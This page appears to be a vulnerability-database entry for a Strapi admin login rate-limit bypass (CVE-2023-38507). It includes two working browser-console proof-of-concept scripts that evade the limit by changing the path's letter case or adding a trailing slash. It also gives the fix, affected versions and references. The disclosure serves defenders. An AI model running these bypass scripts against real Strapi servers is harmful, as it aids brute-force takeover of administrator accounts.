Strapi Improper Rate Limiting vulnerability
1. Summary
There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.
2. Details
It is possible to avoid this by modifying the rate-limited request path as follows.
- Manipulating request paths to upper or lower case. (Pattern 1)
- In this case, avoidance is possible with various patterns.
- Add path slashes to the end of the request path. (Pattern 2)
3. PoC
Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.
Pattern 1 (uppercase and lowercase)
// poc.js
(async () => {
const data1 = {
email: "admin@strapi.com", // registered e-mail address
password: "invalid_password",
};
const data2 = {
email: "admin@strapi.com",
password: "RyG5z-CE2-]*4e4", // correct password
};
for (let i = 0; i < 30; i++) {
await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data1),
headers: {
"Content-Type": "application/json",
},
});
}
const res1 = await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res1.status + " " + res1.statusText);
const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
- Request 30 incorrect logins.
- Execute the same request again and confirm that it is blocked by rate limit from the console screen. (
429 Too Many Requests) - Next, falsify the pathname of the request (
/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)
Pattern 2 (trailing slash)
// poc.js
(async () => {
const data1 = {
email: "admin@strapi.com", // registered e-mail address
password: "invalid_password",
};
const data2 = {
email: "admin@strapi.com",
password: "RyG5z-CE2-]*4e4", // correct password
};
for (let i = 0; i < 30; i++) {
await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data1),
headers: {
"Content-Type": "application/json",
},
});
}
const res1 = await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res1.status + " " + res1.statusText);
const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
- Request 30 incorrect logins.
- Execute the same request again and confirm that it is blocked by rate limit from the console screen. (
429 Too Many Requests) - Next, falsify the pathname of the request (
/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)
PoC Video
4. Impact
It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases.
5. Measures
Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path)
Also, remove any extra slashes in the request path.
6. References
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @strapi/admin | < 4.12.1 | 4.12.1 |
| npm package | @strapi/plugin-users-permissions | < 4.12.1 | 4.12.1 |
References
- https://github.com/strapi/strapi/security/advisories/GHSA-24q2-59hm-rh9r
- https://nvd.nist.gov/vuln/detail/CVE-2023-38507
- https://github.com/strapi/strapi
- https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31
- https://github.com/strapi/strapi/releases/tag/v4.12.1
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L- Weakness (CWE)
CWE-770- Platform
- npm
- Package
@strapi/admin, @strapi/plugin-users-permissions- Disclosed
- 13.09.2023
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-24q2-59hm-rh9r - CC BY 4.0
Vulnerability history: @strapi/admin
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 09.2023 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 2
- Low 1
Disclosures per year
- 2023: 2
- 2024: 0
- 2025: 1
- 2026: 1
-
Strapi Improper Rate Limiting vulnerability this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.